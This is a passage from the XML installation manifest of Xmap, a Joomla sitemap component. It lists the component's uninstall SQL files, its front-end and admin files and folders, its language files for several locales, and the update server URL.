            <file driver="mysql" charset="utf8">install/uninstall.utf8.sql</file>
            <file driver="postgresql" charset="utf8">install/uninstall.postgresql.sql</file>
        </sql>
    </uninstall>
    <files folder="front">
        <filename>controller.php</filename>
        <filename>displayer.php</filename>
        <filename>index.html</filename>
        <filename>metadata.xml</filename>
        <filename>router.php</filename>
        <filename>xmap.php</filename>
        <folder>assets</folder>
        <folder>controllers</folder>
        <folder>helpers</folder>
        <folder>models</folder>
        <folder>views</folder>
    </files>
    <languages folder="front/language">
        <language tag="en-GB">en-GB.com_xmap.ini</language>
        <language tag="es-ES">es-ES.com_xmap.ini</language>
        <language tag="fa-IR">fa-IR.com_xmap.ini</language>
        <language tag="fr-FR">fr-FR.com_xmap.ini</language>
        <language tag="cs-CZ">cs-CZ.com_xmap.ini</language>
        <language tag="nl-NL">nl-NL.com_xmap.ini</language>
        <language tag="ru-RU">ru-RU.com_xmap.ini</language>
    </languages>
    <images folder="admin">
        <folder>images</folder>
    </images>
    <administration>
        <menu img="components/com_xmap/images/xmap-favicon.png">COM_XMAP_TITLE</menu>
        <files folder="admin">
            <filename>xmap.php</filename>
            <filename>controller.php</filename>
            <filename>index.html</filename>
            <filename>LICENSE.txt</filename>
            <folder>css</folder>
            <folder>elements</folder>
            <folder>images</folder>
            <folder>install</folder>
            <folder>helpers</folder>
            <folder>controllers</folder>
            <folder>tables</folder>
            <folder>views</folder>
            <folder>models</folder>
        </files>
        <languages folder="admin/language">
            <language tag="en-GB">en-GB/en-GB.com_xmap.ini</language>
            <language tag="en-GB">en-GB/en-GB.com_xmap.sys.ini</language>
            <language tag="es-ES">es-ES/es-ES.com_xmap.ini</language>
            <language tag="es-ES">es-ES/es-ES.com_xmap.sys.ini</language>
            <language tag="fa-IR">fa-IR/fa-IR.com_xmap.ini</language>
            <language tag="fa-IR">fa-IR/fa-IR.com_xmap.sys.ini</language>
            <language tag="fr-FR">fr-FR/fr-FR.com_xmap.ini</language>
            <language tag="fr-FR">fr-FR/fr-FR.com_xmap.sys.ini</language>
			<language tag="cs-CZ">cs-CZ/cs-CZ.com_xmap.ini</language>
            <language tag="cs-CZ">cs-CZ/cs-CZ.com_xmap.sys.ini</language>
            <language tag="nl-NL">nl-NL/nl-NL.com_xmap.ini</language>
            <language tag="nl-NL">nl-NL/nl-NL.com_xmap.sys.ini</language>
            <language tag="ru-RU">ru-RU/ru-RU.com_xmap.ini</language>
            <language tag="ru-RU">ru-RU/ru-RU.com_xmap.sys.ini</language>
        </languages>
        <images folder="admin">
            <folder>images</folder>
        </images>
    </administration>
    <updateservers>
        <server type="extension" priority="1" name="Xmap Update Site">https://raw.github.com/guilleva/Xmap/master/xmap-update.xml</server>
    </updateservers>
</extension>